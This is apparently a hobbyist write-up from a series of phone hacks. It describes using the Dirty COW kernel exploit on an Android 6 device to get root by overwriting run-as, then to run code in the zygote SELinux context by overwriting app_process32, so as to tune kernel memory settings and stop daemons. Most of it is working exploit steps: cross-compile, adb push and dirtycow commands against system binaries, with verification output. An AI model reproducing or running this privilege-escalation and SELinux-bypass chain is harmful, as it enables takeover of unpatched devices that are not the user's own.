Dirty COW (Hack #34) gives uid=0 root, but the SELinux context remains u:r:shell:s0. On Android 6, the shell domain cannot write to /proc/sys/ (kernel tuning), /data/system/ (package state), or /sys/ (lowmemorykiller parameters). Even with root uid, SELinux blocks the operations.
The key insight is that the COW race condition writes to files via madvise(MADV_DONTNEED) + /proc/self/mem, which bypasses the normal write() syscall. SELinux hooks into write() but not into the page cache manipulation that Dirty COW exploits. By overwriting app_process32 (which runs as u:r:zygote:s0), we can execute arbitrary code in the zygote SELinux context, which has permissions to write kernel parameters and control services.
Two-phase approach: first overwrite run-as for root, then overwrite app_process32 for zygote context.
The payload binary is cross-compiled on Windows with NDK:
# Cross-compile the 2232-byte ARM payload (Windows NDK)
$CC -nostdlib -static -Os -fno-stack-protector -o fix-zygote2 fix-zygote2.c
# Result: 2232 bytes, ELF 32-bit ARM static binary
# Push to phone:
adb push fix-zygote2 /data/local/tmp/
adb push dirtycow /data/local/tmp/
adb push run-as-payload /data/local/tmp/Execute the two-phase exploit from ADB shell:
# Phase 1: Get root via run-as overwrite
./dirtycow run-as-payload /system/bin/run-as
# "patch successful, iterations 1"
# Phase 2: Overwrite app_process32 with zygote payload
./dirtycow fix-zygote2 /system/bin/app_process32
# Wait ~10s for init to restart zygote with our payload
# The payload runs as zygote (u:r:zygote:s0) and can:
# - Write to /proc/sys/vm/* (kernel tuning)
# - ctl.stop daemons via property_set
# - Modify lowmemorykiller parameters
# Sync and reboot to restore app_process32 from disk
echo 'sync; sync; sync' | /system/bin/run-as
reboot# After reboot, verify kernel parameters were applied:
adb shell cat /proc/sys/vm/vfs_cache_pressure
# Expected: 500 (set by payload)
adb shell cat /proc/sys/vm/min_free_kbytes
# Expected: 2048 (set by payload)
# Verify daemons are stopped:
adb shell getprop | grep -E "drmserver|qcamerasvr|audiod"
# Expected: ctl.stop properties set-nostdlib -static is required because the payload runs before the linker is available| Metric | Before | After |
|---|---|---|
| SELinux bypass | Shell context only | Zygote context |
| Kernel tuning | Blocked | vfs_cache_pressure, min_free_kbytes |
| Daemon control | Cannot ctl.stop | 6 daemons stopped |
| Available RAM | ~350 MB | ~450 MB |